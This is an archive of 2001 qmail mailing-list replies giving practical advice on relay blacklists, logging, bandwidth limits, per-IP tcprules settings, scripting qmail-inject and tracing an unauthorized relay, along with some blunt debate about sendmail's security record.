Re: What about www.mail-abuse.org ?
On Sun, Jun 03, 2001 at 09:04:22PM -0700, Tupshin Harper allegedly wrote: My test of your server indicates that you appropriately block relaying. (Let me say beforehand that I don't know anything about mail-abuse.org and whether they do or do not have this address listed, or indeed whether they have this address listed for valid reasons). The fact that some IPs are not accepted for relaying does not mean that all are. It may well be, for example, that the IP in question relays mail from, say, all 202. addresses or all 202.96 addresses. Of course this is not a qmail related issue unless the original poster has a problem understanding relay protection with qmail and starts with a posting of his tcpserver rules and his expectations of what they do. Regards. -Tupshin - Original Message - From: daiyuwen [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Sunday, June 03, 2001 9:11 PM Subject: What about www.mail-abuse.org ? Hi, Dear All Somebody are talking about www.orbs.org. What about www.mail-abuse.org? I think they're abusing their influence. Many sites are using their blacklist. So they should be very responsible for every IP address their list. For my instance, my server is on the RSS list because it WAS an open-relay server. Then I fixed the problem and sent a removal request. But mail-abuse.org said I blocked their mail server (I didn't. I don't know why). Now they even refuse my removal request on the web. According their order, I had to mail to [EMAIL PROTECTED], explaining why I blocked their server. But I just got an auto-relay that said I should submit removal request on the web. Dead loop :-( Any body kind enough to test if my server is third-party relay? Its IP address is 202.96.230.197 Best regards, Dai Yuwen __ === ÐÂÀËÃâ·Ñµç×ÓÓÊÏä (http://mail.sina.com.cn) ʹÓÃÊÖ»ú¶ÌÐÅ¡°ÓʼþÌáÐÑ¡±¹¦ÄÜ£¬ËæʱÁ˽âµÄÊÕÐÂÐÅÇé¿ö£¡ (http://sms.sina.com.cn/docs/sina_mailalert.html) ¶©ÔÄÊÖ»ú¶ÌÐŶ¥¼¶ÐÂÎÅÿÌìµÃпîÊÖ»ú´ó½±£¡ (http://dailynews.sina.com.cn/c/266499.html)
Re: qmail on SCO OpenServer
On Mon, Jun 04, 2001 at 02:16:20PM +1000, Jason Heskett allegedly wrote: Hi there, I am probably opening a long-running topic here, but here goes... I have just successfully compiled qmail on SCO OpenServer. However, it seems that my outgoing mail queue is getting stuck. Is that true for all outgoing mail or just some? The log includes, Connected_to_..._but_connection_died._(#4.4.2)/ Running a ps shows qmail-remote sitting there, trying to deliver the queue. Does SCO has a truss or strace or some similar system call trace? If so, attach to the qmail-remote and show us the output. Yo may also want to get a tcpdump/snoop of the tcp traffic. Local deliveries work just fine. I know similar messages have been posted to the list, and I apologise for the duplication, You'll also note that SCO in general is not well loved/supported by djbware. The problem seems to be that the tcp/ip stack sucks - to use a technical term. Before you say anything I can't move to Linux just yet... That still leaves any of the BSD variants then : Regards.
Re: do I need to log
On Tue, Jun 05, 2001 at 02:28:31AM +, NewBiePortal allegedly wrote: Hi I'm wondering, do I really need to log anything. Is this must or is it extra for debugging purpose. I just feel that there would be much improvement with the sending mail if my cpu did not have to bother with logging every email that's leaving my mailer. I mean I have millions of junk emails which none of them are important at all. I'm kinda of newbie but can someone confirm that It's okay to get rip of qmail-smtpd/log/run It's entirely up to you. I wish I was lucky enough to work on an email system that has millions of junk emails and which required no analysis or problem diagnosis or anything, ever! Just remember most problems have to be looked back at which is only possible with some sort of log. Of course the fact that your system does have millions of junk emails suggests that something is very wrong in the first instant - something like being abused as an open-relay that a log might well identify.. But as I say, it's your server. There is the final point that you don't know what your logging really costs. How much of a bother is it to your CPU? Have you measured it or are you speculating? Is the bother greater than that or the millions of junk emails that you might be able to eliminate? Regards.
Re: Oops,I guess Sendmail wasn't secure after all...
On Sat, Jun 02, 2001 at 05:20:01PM +0200, Boris allegedly wrote: Hello Johan, JA Not quite. More like someone inspects your free car and finds a button JA that can make it explode. Maybe he pushes the button, maybe not. Maybe he JA pushes the button on someone else's car. Are you willing to take that JA risk? I can imagine two situations where that would be the case: either Well, there is no button with a text like press me here -) for the public. Of course there is, silly. Tell us, your mail progam seems to be The Bat! (v1.48f) Personal - did you write this program from scratch yourself or did you simply click a few buttons and install the work of someone else? Now, what do you think most script kiddies do? They don't scour the code for exploits as you imply with there is no button. They simply download the hard work of one or two people and install the pre-built button. It's trivial. So, press me here is as far away as a download. You're not seriously suggesting this is a serious secruity barrier are you? If we are talking about the security of a product, we have several things to take a look at. Internal security (a mailserver-only solution, mailserver+webserver, n mailservers, persons who access the mail queue as root). External security. Buffer overflows, chroot problems, jail problems, password problems. Design specific topics, what is secure, what is not secure, what can be implemented, what is not secure. You are obscuring definition with implementation (and jargon for that matter). As root i can read all the messages in clear text, sendmail or qmail - a security risk? An attack to privacy? Or just a design problem? Or is it not a design problem, its just normal? Security is relative. No it's not. You're futzing and confused. This is real simple. The security of a product is defined as a set of claims about providing certain protection. A security problem exists when the product does not meet a stated claim. Eg, qmail never claimed to protect clear text messages on disk from root, so why did you bring it up? However, both qmail explicitly and sendmail (somewhat less explicitly) do make claims about protecting against a user gaining elevated priviledges. This thread started from yet another alert about being able to corrupt the memory of sendmail. Corrupting memory is a tried and true method of gaining elevated priviledges and time and again this method *has* been used to gain elevated priviledges via sendmail. In other words, sendmail has repeatedly failed to live up to it's security claims and it looks like this current announcement may be just another example. So, inspite of what you say, you do not have to have several things to take a look at and you don't have to understand sentences full of buzzwords like chroot problems and jail problems... You simply ask the question has sendmail failed to live up to it's security claims. The answer is a repeated yes bordering on recidivism and no amount of obfuscation by you will change that fact. Your sole defense is that sendmail doesn't make such security claims explicitly and thus people are silly to infer such security. This is indeed a strong argument. Regards.
Re: expn
On Sat, Jun 02, 2001 at 09:02:08AM -0700, Rob Genovesi allegedly wrote: Hello List, Is this expn (expand) command completely disabled in Qmail (1.03)? If so, are there any patches out there to enable expn from certain hosts on a Qmail server? It's not disabled as such, it's merely not implemented in the standard product for a variety of reasons - one of which is that the design does not lend itself readily to expn (but there are good privacy reasons too). Having said that, there are patches to do this and a search of the archives should reveal where they are. I'm trying to find a solution for a remote product to find the pop3 account behind a catch-all virtual account and a limited-access expn would certainly do the trick. It sounds like you'll be adding non-standard code to both ends of this solution so why not do something more specific that doesn't involve patching qmail, such as a protected access web page? Or a protected access finger port? Or a periodic rsync of the user list? Regards.
Re: Oops,I guess Sendmail wasn't secure after all...
On Sat, Jun 02, 2001 at 05:01:57AM +0200, Boris allegedly wrote: bugs are fixed fast. Its just some C-Code, everyone knows this. This is a troll, right? I have a lock on my front door that I know can be opened with a paperclip, but heck, those nice people who make the locks will supply me with a new lock soon, so what's the problem? When I was using sendmail on my FreeBSD Server, it has never been hacked, very strange ugh? This is a troll, right? I left my front door unlocked last night and no one walked in and stole anything, ergo, front door locks are a complete waste of time. Ok. It is a troll, no one could be silly enough to say those things and believe them. Regards.
Re: Limiting bandwidth usage
On Thu, May 31, 2001 at 11:13:56PM +0200, Roger Svenning allegedly wrote: Ok I see, so traffic shapers like altq and dummynet are made by people that don't understand the basics of tcp/ip ? :-) I didn't mean blocked literally, what I want is to make sure that smtp traffic, when qmail gets several thousand of mails dumped into it's queue, doesn't slow down http traffic too much, by putting some sort of a limit on qmail I want to avoid packetloss. We understand what you want. Do you understand that qmail has no facility for doing this? The only way is to use a traffic shaper external to qmail. Regards. -Roger -Opprinnelig melding- Fra: Russell Nelson [mailto:[EMAIL PROTECTED]] Sendt: 31. mai 2001 22:25 Til: '[EMAIL PROTECTED]' Emne: Re: Limiting bandwidth usage Roger Svenning writes: Anyone have some advice on how to limit the bandwidth usage for qmail ? We have a mail/web server sitting on a 2mbit and several times a week we need to push out 3+ mails and don't want this to totally block the web traffic to the same server. You don't understand how TCP/IP works. A sustained load through a network doesn't cause anybody to be blocked. It causes their transfers to slow down. TCP/IP interprets a lossy connection as an overloaded connection. That's why your IP connection must only lose packets when it is congested. -- -russ nelson [EMAIL PROTECTED] http://russnelson.com Crynwr sells support for free software | PGPok | Microsoft rivets everything. 521 Pleasant Valley Rd. | +1 315 268 1925 voice | Linux has some loose screws. Potsdam, NY 13676-3213 | +1 315 268 9201 FAX | You own a screwdriver.
Re: Limiting bandwidth usage
On Fri, Jun 01, 2001 at 02:38:04AM +0200, Karsten W. Rohrbach allegedly wrote: Mark Delany([EMAIL PROTECTED])@2001.05.31 22:32:26 +: On Thu, May 31, 2001 at 11:13:56PM +0200, Roger Svenning allegedly wrote: Ok I see, so traffic shapers like altq and dummynet are made by people that don't understand the basics of tcp/ip ? :-) I didn't mean blocked literally, what I want is to make sure that smtp traffic, when qmail gets several thousand of mails dumped into it's queue, doesn't slow down http traffic too much, by putting some sort of a limit on qmail I want to avoid packetloss. We understand what you want. Do you understand that qmail has no facility for doing this? The only way is to use a traffic shaper external to qmail. qmail indirectly contains instrumentation for that. it is called remote concurreny. No it doesn't. you might echo 2/var/qmail/contro/concurrencyremote svc -t /service/qmail which would limit the running qmail-remote processes to two which leads to less bandwidth consumption for outgoing mail. Not necessarily and certainly not predicatably. Tell me what happens with the following scenarioes: Scenario one: You have a concurrencyremote of 1 You have one email in the queue That email is MXed to a yahoo.com address which has perhaps a 1Gb or more of inbound connectivity That email is 100MBytes in size A qmail-remote is scheduled to delivery the email Scenario two: You have a concurrencyremote of 100 You have 100 emails in the queue All emails are address to a dinky.connectivity.com. that has perhaps 14.4Kb of inbound connectivity Each email is 1MB in size A qmail-remote is scheduled for every message in the queue Question 1: What is the likely bandwidth consumption during delivery for Scenario one? Question 2: What is the likely bandwidth consumption during delivery for Scenario two? Bonus question: what part of qmail do you change to reduce the bandwidth consumption for Scenario one? Regards.
Re: recipient limit for qmail-inject?
On Thu, May 31, 2001 at 06:59:07PM -0600, Roger Walker allegedly wrote: On InterMail systems we use their mass mail program to send out some 650,000 newsletters to customers. The application batches them into a single message with a BCC containing somewhere between 40 and 100 recipients each (not sure of the exact number at this time). I would like to do similar on a Qmail system. Sounds good. Would anyone know the limit for qmail-inject? Is there a practical limit? Is there another another recommended way of doing this? There is no practical limit. Perhaps one qmail-inject per 50,000 recipients? I certainly would go a *lot* higher than your current 40-100. Remember, each inject creates a separate copy of the email in the queue. At 100 recipients per inject, that's 650,000/100 = 6,500 copies on disk. At 50,000 recipients per inject, that's 650,000/50,000 = 13 copies on disk. I specifically require that every message on a particular mailout have an identical Message-id, due to the storage setup on the receiving Intermail system - saves on disk space. Easy, just set the message-id in the header of the submitted email. qmail-inject only adds a message-id if one is not present. Regards.
Re: Vpopmail+qmail pop3 has lost it's mind!
On Wed, May 30, 2001 at 03:50:58PM -0400, Dave Sill allegedly wrote: Henning Brauer [EMAIL PROTECTED] wrote: You want to sync the clocks... qmail-pop3d won't list messages from the future. Somebody refresh my memory... Why does it care? Apart from the enigmatic don't want to mix up the order, you could construe it as a feature that would make a bulletin *visible* to everyone at exactly the same time... Apart from that, I cannot think of a POP related reason why an mtime in the future would be a problem. Regards.
Re: Advanced masquerading
I'm not sure its relevant. The whole address-rewriting thing is a sendmail-ism that should just go away; it must have originated in an effort to compensate for other, unrelated sendmail design flaws. It's all a historical thing. The problem that sendmail was designed to solve back in the uucp days is different from the problems that modern MTAs are designed to solve. The hardest part of uucp mail was the address rewriting, so sendmail went through amazing contortions in order to solve this problem. Internet mail doesn't need to do any rewriting at all, so the bulk of the code in sendmail is there to solve a problem most of us don't have. I was fortunate in never having actually been stuck on the end of a uucp link, but even in those days sendmail's rewriting rules often got in the way of just getting the mail there. Absolutely. I used to do a lot of uucp with qmail and the best thing you can do is forget about rewriting and ! addresses. uucp does not insist on this, though it's as ingrained as many other myths surrounding mail (and dns). What uucp does do well is transfer a file and execute a command remotely - so conceptually one simple wants to transfer the email contents and run a command at the other end that injects it into qmail. The best thing to do is just use FQDN addresses and avoid all rewriting. There is some references to this on www.qmail.org and I'm sure much of this has been previously discussed and thus archived. Regards.
Re: Qmail remote process never drops problem
On Tue, May 29, 2001 at 03:10:24PM -0700, Eric Wang allegedly wrote: Nope, the response from those machine machine are pretty good, these qmail connections are just never dead. the is really confusing though. Can you trace the qmail-remote processes? truss -p, ktrace -p, ?? Regards.
Re: limiting databytes per user
On Mon, May 28, 2001 at 11:55:38AM -0300, Eduardo Augusto Alvarenga allegedly wrote: If your users inject mail via SMTP from their workstations to your smarthost, and you can map IP addresses to usernames, it's trivial -- tcpserver's tcprules files can be used to set all environment variables (including DATABYTES) on a per-IP basis. Charles Great idea, I'm using dhcp. Can I use a classless rule like? 192.168.0.:allow,RELAYCLIENT=,DATABYTES=2 for 2MB users and 193.168.0.:allow,RELAYCLIENT=,DATABYTES=10 for 10MB users? That's a good strategy, though 193.168 are not good addresses to use as they are real, routable addresses. How about: 192.168.0-127.:allow,RELAYCLIENT=,DATABYTES=2 192.168.128-255.:allow,RELAYCLIENT=,DATABYTES=10 Or somesuch? Regards.
Re: Qmail remote process never drops problem
Which OS? Not Solaris 2.8? On Mon, May 28, 2001 at 06:53:38PM -0700, Eric Wang allegedly wrote: Hi , Guys, I have a qmail server with very heavy load, and I noticed recently my qmail server have a bunch of outbound connection to some domains like outblaze.com, and the email send to their mail server , the tcp process state after become ESTABLISHED then seems never drops. I am wondering if there is anybody have similar problem and how you solved it. Thanks a lot!
Re: changing concurrencyremote based on available bandwidth
In general. It's very hard to use concurrency to control bandwidth usage. If your system is concurrently sending a 100 messages to one server that's on the other end of a modem link, does that use more of your bandwidth than one MP3 email going to a high capacity site like Yahoo? No. The single email to Yahoo will probably blast out and fill your capacity. You need to dive into the world of traffic shapping which is done at the network level if you really want to control the bandwidth consumed by email. Oh, I don't understand why you'd get bounces due to limited bandwidth. Most qmail installations retry a mail if the delivery fails, what does your qmail do? Regards. On Fri, May 25, 2001 at 08:06:26AM -0600, Charles Cazabon allegedly wrote: Smith, Lisa [EMAIL PROTECTED] wrote: What I'd like to know is if anyone has come up with a script that can modify qmails concurrencyremote setting on the fly based on available bandwidth? Not to my knowledge. I've seen people mention the possibility before, but never seen a proposed solution. Basically what I am looking for (and we may write in-house if no one has something similar out there), is a script that would be able to detect the available bandwidth, and adjust qmail's concurrencyremote setting, so that we're not sending too much (or too little) traffic out that pipe. Changing the remote concurrency is fairly simple; write your new value to /var/qmail/control/concurrencyremote and restart qmail. It might take a minute or two to stop if there are remote deliveries in progress. You could theoretically do this in a shell script called from cron every ten minutes or so. Measuring available bandwidth is, of course, the tricky part. The problem that we're running into is that our machines are either sending out too much at once (concurrency set 'too high'), causing failed connections, and bounces, else the machines are throttled back (concurrencyremote set 'too low') not taking advantage of the available bandwidth. Why not just pick the highest value that still leaves you sufficient bandwidth for other purposes? qmail may not use all the available bandwidth, but it will keep moving the mail out throughout the slow times, and should even out. Charles -- --- Charles Cazabon[EMAIL PROTECTED] GPL'ed software available at: http://www.qcc.sk.ca/~charlesc/software/ Any opinions expressed are just that -- my opinions. ---
Re: sending mail using qmail-inject
On Thu, May 24, 2001 at 05:55:44PM -0700, Qmail allegedly wrote: Is it possible to script qmail-inject to send a full bodied message from the command line? I'm trying something like this: ( echo to: alerts@XYZnet ; echo from: [EMAIL PROTECTED] ; echo subject: logs ; grep '@customer.com' /var/log/qmail/* ) | /var/qmail/bin/qmail-inject I get the header, ok, but no body? I bet you got all the matching log entries in the header. Make sure you put an empty line between the headers and the body. ( echo to: alerts@XYZnet ; echo from: [EMAIL PROTECTED] ; echo subject: logs ; echo; grep... ) | .. Regards.
Re: Problems with SMTP connections
qmail does this on its own -- if DNS isn't working, you shouldn't be able to send mail anywhere remote (well, except for those domains you've hardcoded This is where my question of a local DNS server came in. Do I have to run something like djb-dns on my machine? I figured that I would be able to use my ISP's server. I'm on dial-up, by the way. Well, yes you can use your ISPs name servers, they should be in /etc/resolv.conf Having said that, as a dialup you should configure qmail to send all of your email to your ISPs SMTP server and let it worry about it. That's worth doing for two reasons: First, many sites purposely reject SMTP connections from dialup addresses mainly because spammers often send directly from throw-away dialup accounts. Second, if the site you are trying to send mail to happens to be down at the instant you try and send, the mail may sit on your server until you next dial in, which could be days I guess. If you send it to your ISP, their server will repeatedly try. To send all mail to your ISP, simple put their SMTP server in /var/qmail/control/smtproutes, Something like this: :smtp.cnmnetwork.com Regards.
Re: High Availability, High Volume and NFS
I don't want to start an OS war, but if you want to use NFS on an Intel box, I strongly suggest one of the BSDs. I was in a situation where I had to use Linux NFS servers - that was until they failed miserabled. They were replaced with FreeBSD and the problems went away. Regards. On Wed, May 23, 2001 at 01:40:13PM -0500, Duane Schaub allegedly wrote: I want to set up multiple qmail machines to access an NFS backend. We have about 10,000 users (running maildir) and an average of 5 emails/user/dat and av. 10K in size. On average, there are 6 simultaneous pop sessions with approx. 200 new sessions/min. We have tried a Redhat6.1 backend on the NFS with Redhat 6.1 NFS clients. The result was that the qmail machines were BARELY able to keep up. If there were any pauses on the NFS server, the POP sessions would build to 50-60 very quickly with qmail crashing at about 300 sessions. Once qmail exceeded about 70 sessions, it was beyond the point of return and would not recover. The NFS server was nothing special (P350/IDE 256Mb RAM). We also tried a Dell 2300 (Dual 400/RAID5) NT server running Intergraph NFS But the performance was abysmal! Performing an ls in a user/new directory took 21 seconds for a response. I think NFS would work, but I don't really want a Netapp F5 ($50,000). What NFS experiences are out there? If you wish - respond privately [EMAIL PROTECTED] Duane. President, | Terra World, Inc. Terra World, Inc.| 200 ARCO Place, Suite 252 (888)332-1616| Independence, KS 67301 (620)332-1616| When your work counts, Use www.terraworld.net |T E R R A W O R L D
Re: Using fetchmail with qmail
On Mon, May 21, 2001 at 12:20:36AM +0300, Mikko Hänninen wrote: David Talkington [EMAIL PROTECTED] wrote on Sun, 20 May 2001: There's really nothing special about such a configuration; fetchmail just delivers mail to whoever is listening on 25. As long as qmail will accept deliveries for localhost, it works great. I do this on my laptop. There is one gotcha, you have to enable the forcecr option in your .fetchmail configuration, if you're using delivery via localhost port 25. This is documented as a qmail quirk (or something) in the fetchmail documentation, but it *is* documented at least... Without this setting, qmail will reject the emails due to the CR/LF line ending issue. Hmm. The fetchmail man page seems to say it quite well: The `forcecr' option controls whether lines terminated by LF only are given CRLF termination before forwarding. Strictly speaking RFC821 requires this, but few MTAs enforce the requirement it so this option is normally off (only one such MTA, qmail, is in significant use at time of writing). FWIW. This problem cannot occur if the pop server is qmail-pop3d. I've used fetchmail on a variety of non-qmail pop servers and have never needed forcecr. I hasten to add that that doesn't mean that Mikko is wrong, just that the you probably don't need this option excepting when you fetch from dodgy pop servers! On a related note, it seems that fetcmail has made some effort to support qmail in a variety of ways, including the -Q option which is specifically designed to extract envelope addresses from Delivered-To: addresses created via virtualdomains (See the fetchmail -Q option). Regards.
Re: Still want to use fetchmail with qmail
On Sun, May 20, 2001 at 06:26:36PM -0300, Alexandre Gonçalves Jacarandá wrote: Hi again!!! I follow some tips, but I can get fetchmail working with qmail. But now I will give more details... I installed qmail following Life with qmail and it's working. I configured Mailbox delivery in my system and I've ISP that use sendmail and when I tried to fetch mail mails this error occurs: client/server synchronization error. My fetchmailrc is: # Configuration created Sun May 20 18:04:12 2001 by fetchmailconf set postmaster alex set bouncemail set properties poll pop3.superonda.com.br with proto POP3 user 'clark_vr' there with password 'xx' is alex here options forcecr dropdelivered warnings 3600 antispam 571 550 501 554 Thanks, Alexandre Gonçalves Jacarandá This is no doubt a fetcmail - popserver issue and has nothing to do with qmail, but try running fetchmail with the option that gives debugging output. The fetchmail manpage tells you which option. Regards.
Re: help for show time zone
On Sun, May 20, 2001 at 01:42:12PM +0800, new wrote: hello, qmail uses GMT to show time zone,like this: Received: (qmail 9258 invoked from network); 19 May 2001 23:25:42 - How can I let it use GMT+8 or PRC to show time zone. Change to code. There is no configuration setting for this. Regards. PS. Check the archives. This has been discussed many, many time.
Re: unauthorized relay :-(
On Fri, May 18, 2001 at 06:55:59AM -0600, Roger Walker wrote: On 18 May 2001, Mark Delany wrote: So you are saying that you've checked the qmail-send logs and there is no injection that matches the headers of the bounce? Are you sure? If you found a match, then the uid trail will tell you who did it. The log portion I supplied is indicative of all of the stuff related to the aol mail. The PID associated with those messages was not there when I became aware of what was happening, so I can't definitively trace it. UID != PID And, er, qmail-send (with UID) and (tcpserver with PID) unconditionally log their UID and PID, so what exactly do you mean by was not there? But, AOL doesn't help matters as their bounces don't return any original header information, blah. Regards.
Re: unauthorized relay :-(
On Fri, May 18, 2001 at 08:37:37AM -0600, Roger Walker wrote: UID != PID Sorry, I was distracted. The UID was for apache, further evidence that this was done through a formmail script. Ok... And what did your apache logs say at the time? They are logging IP addresses, right? Here's the tcpserver invocation: tcpserver -p -x /etc/tcpserver/tcp.smtp.cdb -u 301 -g 300 0 smtp \ /usr/local/bin/rblsmtpd \ -rrbl.maps.vix.com \ -rinputs.orbs.org \ -routputs.orbs.org \ -rspamsources.orbs.org \ -rspamsource-netblocks.orbs.org \ -runtestable-netblocks.orbs.org \ -rmanual.orbs.org \ -rdialups.mail-abuse.org \ -rrbl.rope.net \ /var/qmail/bin/qmail-smtpd 21 \ | setuidgid qmaill tai64n | setuidgid qmaill tai64nlocal \ | setuidgid qmaill multilog +\* /var/log/rbl Superficially that looks ok, again kinda different from what one usually sees. So there are not entries in /var/log/rbl/current like: @40003b053761268c7a14 tcpserver: pid 16838 from 131.193.178.181? Regards.
Re: qmail-inject internals question
On Fri, May 18, 2001 at 10:16:41AM -0500, dan . kelley wrote:
hi-
I've started to hack around with qmail-inject.c a bit. i'm trying to modify
the file to optionally look for a control/addmessage file, the contents of
which will be appended to every locally generated message.
Right. So that won't catch messages submitted via SMTP from your local
(windows) clients. I presume that's ok? If you're not sure about where
qmail-inject and friends fit into the scheme of things, carefully read
and understand all of the PIC.* files in the qmail source before
proceeding.
I also assume you're aware of the MIME related issues in trying to do
this. It's been discussed many times on this list - the archives are
your friend.
i'm having some difficulty tacking the addmessage onto the message as it
passes through qmail-inject, so i'm trying to insert some simple logging
messages so i can follow the execution of qmail-inject.
one thing that i'm having a difficult time following: it looks like Dan
Berenstein's logging architecture for qmail is broken down into 3 pretty
simple calls:
Well, qmail-inject doesn't log particularly. It's meant to be invoked
from a shell and thus informs you of results via stderr and the exit
code.
(from qsutil.c)
void log1(s1) char *s1; {
substdio_putsflush(sserr,s1); }
void log2(s1,s2) char *s1; char *s2; {
substdio_putsflush(sserr,s1);
substdio_putsflush(sserr,s2); }
void log3(s1,s2,s3) char *s1; char *s2; char *s3; {
substdio_putsflush(sserr,s1);
substdio_putsflush(sserr,s2);
substdio_putsflush(sserr,s3); }
from what i gather, all of these just write messages to stderr,
and multilog/splogger are responsible for collecting them.
multilog is *nothing* like syslog. You just can't make a call to write
to stderr in one process such as qmail-inject and magically have it
show up with the output of some other process such as qmail-send.
this line placed in void main(), before any other function.
log1(qmail-inject: started);
You might want to actually copy the way qmail-inject generates its
messages. Hint: search for the string memory.
Regards.
Re: Lotsa messages with qmail-remote?
On Thu, May 17, 2001 at 08:29:37AM +, Greg Cope wrote: I used IO::select to handle running multiple qmail-remotes at the same time. qmail-remote has a really small footprint so you can run 1000s of them concurrently on a modest sized server. It takes a fair amount of code to manage multiplexed pipes in conjunction with handling stdout and stderr (execution errors) responses and exit conditions. (I see that there is an IO::Poll in which case I'd probably use that in preference to IO::Select because of some of the select limit issues on some OSes). Can you shed any more light on this. I am very interested as I may write something similar soon, and any ideas / help would be much appreciated. Well, that's more a perl/Unix issue than a qmail one so this isn't the right place to discussed it. If you're asking about the benefits of poll vs select, there is plenty of material on the net about this. (Now if kqueue gets into enough Unixen and someone write a perl interface for it, well, that'd be something to talk about : ) Regards.
Re: Problem due to prepend in virtualdomain file
Do you have a user called ttk? Remember, ~alias is the *last* place that qmail looks for instructions. If a user exists with that name, it delivers to that user. The man page for qmail-lspawn is a good place to start. Regards. On Thu, May 17, 2001 at 09:36:00PM +0530, [EMAIL PROTECTED] wrote: I am facing a strange problem , I am haivng a domain called ttk-lig.com in my virtualdomain file with prepend ttk. eg. ttk-lig.com:ttk I have created a default alias for ttk-lig.com by the name .qmail-ttk-default and having below text in it |forward $[EMAIL PROTECTED] And for ttklig_ch_notes.ttk-lig.com i am having below entry in my smtproutes file. ttklig_ch_notes.ttk-lig.com:[192.168.100.1] Ideally it should forward all the mails for ttk-lig.com to 192.168.100.1 But when i am sending a mail to anyuser it is getting bounced back. I send a test mail to [EMAIL PROTECTED] and i got below msg in my logs 990115095.554767 info msg 829190: bytes 237 from [EMAIL PROTECTED] qp 13835 u id 0 990115095.556688 starting delivery 329454: msg 829190 to local [EMAIL PROTECTED] 990115095.556700 status: local 1/10 remote 3/120 990115095.799451 delivery 329454: failure: Sorry,_no_mailbox_here_by_that_name._(#5.1.1)/ But if i change the prepend from ttk to ttk1 and make my alias file by the name .qmail-ttk1-default then my mails start working. Can any one tell me why its not taking the word ttk ? Regards Lokesh
Re: Lotsa messages with qmail-remote?
Can you shed any more light on this. I am very interested as I may write something similar soon, and any ideas / help would be much appreciated. Well, that's more a perl/Unix issue than a qmail one so this isn't the right place to discussed it. If you're asking about the benefits of poll vs select, there is plenty of material on the net about this. (Now if kqueue gets into enough Unixen and someone write a perl interface for it, well, that'd be something to talk about : ) What I was interested in was using perl to drive qmail-remote, not a discussion of poll vs select, although that would be handy. Well, it's no different from running any other program within perl. The interface to qmail-remote is completely documented in the qmail-remote manpage. The only trap is that you cannot use open(... |qmail-remote) as you need to set up a bi-directional pipes. I did it the hard way with fork/exec and manipulated the fds, but you could possibly use IPC::Open2 available from your friendly CPAN server. But this is mostly perl/Unix talk, not qmail. Regards.
Re: qmail ignores my sorry ass part II...
On Thu, May 17, 2001 at 12:25:43PM -0700, Brett wrote: Ok, thanks. Here's some more info: I'm trying to send the mail with qmail-inject from the command line. I checked and the exit code I'm getting is 65280. I meant 5600 addresses, not messages, and yes, that's more or less how I'm placing the addresses except I'm doing it from a perl script that puts the addresses in a Bcc field and then makes a system() call which is just like calling from the Bcc field? Do you mean these address are on the command line or in the headers of the message? The difference is a lot more than more or less. In fact the difference is critical. If the latter then you have a different problem from what I suggested. If the former, then change to the latter as that's the best way as you cannot normally increase the command line limits without kernel rebuilds. Regards. command line. I think you may be onto something here with your theory of my being over the limit of command line arguments. The question is how do I increase that limit? And now I'm suddenly off-topic for this list, I know. Nevertheless, I'm sure I won't be the last qmail user to run into this problem and therefore it'll be useful to have this knowledge in the archives. Thanks again. -Original Message- From: Mark Delany [mailto:[EMAIL PROTECTED]] Sent: Wednesday, May 16, 2001 6:17 PM To: [EMAIL PROTECTED] Subject: Re: qmail ignores my sorry ass... You need to tell us a little more. Well, actually a lot more. How are you trying to send them? qmail-inject, smtp, qmail-queue? If you are running a command such as qmail-inject, what sort of exit code are you getting? Any error message? Do you mean 5600 emails or an email to 5600 addresses? If the latter, are you placing all the recipients on a command line, something like: /var/qmail/bin/qmail-inject recipient1@dom1 recipient2@dom2 ... ? If so, have you perhaps exceeded the maximum length of the command line for your system? Are you perhaps exceeding the maximum number of command line arguments for your system? To check the exit status from the shell, go echo $? immediately after the command. The number is zero if all is well and other numbers indicate different types of errors. Regards. On Wed, May 16, 2001 at 04:37:41PM -0700, Brett wrote: ... when I try to send more than 5600 emails in one go. I mean, it completely ignores me. There's no mention of anything occuring in the logs whatsoever. Since I'm giving you so little to go on here, I'm mostly hoping for a general direction to start looking for a problem rather than a complete solution. Or hopefully this has happened to somebody before and they can tell me what they did to fix it. I've successfully recompiled the kernel and applied the big concurrency patch but not the big-todo one yet. I posted this before but didn't get much of a response except to check qmail-inject's exit status. Assuming I know how to do this, what will this prove? Thanks for any and all help. Brett. A big F you to all the unhelpful flamers in advance.
Re: qmail ignores my sorry ass part II...
On Thu, May 17, 2001 at 01:57:11PM -0700, Brett wrote:
Here's how I'm calling qmail-inject:
$mail_prog = '/var/qmail/bin/qmail-inject';
$mail = To: $to_name $to_email\r\n;
$mail .= From: $from_name $from_email\r\n;
if ($bcc) {
$mail .= Bcc: $bcc \r\n;
}
$mail .= Subject: $subject\r\n\r\n;
$mail .= $body\r\n;
system (echo '$mail' | $mail_prog);
The Bccs are in the header but they're still being inserted into the command
line which is what I meant by more or less. I actually don't really see
another way of getting all the bccs to qmail-inject.
Ahh. You've got them on echo's command line. I've never quite seen it
done that way before...
There are *much* better ways that avoid such limits. Try this:
OPEN(MP, | $mail_prog) or die ...
print MP To: $to_name $to_email\r\n;
print MP From: $from_name $from_email\r\n;
if ($bcc) {
print MP Bcc: $bcc \r\n;
}
print MP Subject: $subject\r\n\r\n;
print MP $body\r\n;
close(MP) or die ...;
No command line limit, no echo, no lumpy $mail variable. I'd also be
inclined to print a separate Bcc: header for each recipient, but
that's just my must always scale mentality.
Hmm. It must be unix/perl day on the qmail list.
Regards.
Re: unauthorized relay :-(
On Thu, May 17, 2001 at 10:32:41PM -0600, Roger Walker wrote: I understand completely. I administer mail servers for a major ISP, so the principles are not a problem. I run qmail on my own servers, but there could always be something that I'm overlooking in the config. I know it sure looks as if the message originated locally, but I have my doubts - I've been checking the system over very carefully for intrusions and have gone over the log files, but I don't see anything out of the ordinary to suggest that someone has gotten access to a shell. So you are saying that you've checked the qmail-send logs and there is no injection that matches the headers of the bounce? Are you sure? If you found a match, then the uid trail will tell you who did it. Thanks, all, for your speculations so far... Well, if you showed us the headers and corresponding log entries from qmail-send and tcpserver, we wouldn't have to speculate would we now? Surely as a person who administer[s] mail servers for a major ISP you realise the value that concrete data has in reducing speculation. Regards.
Re: Lotsa messages with qmail-remote?
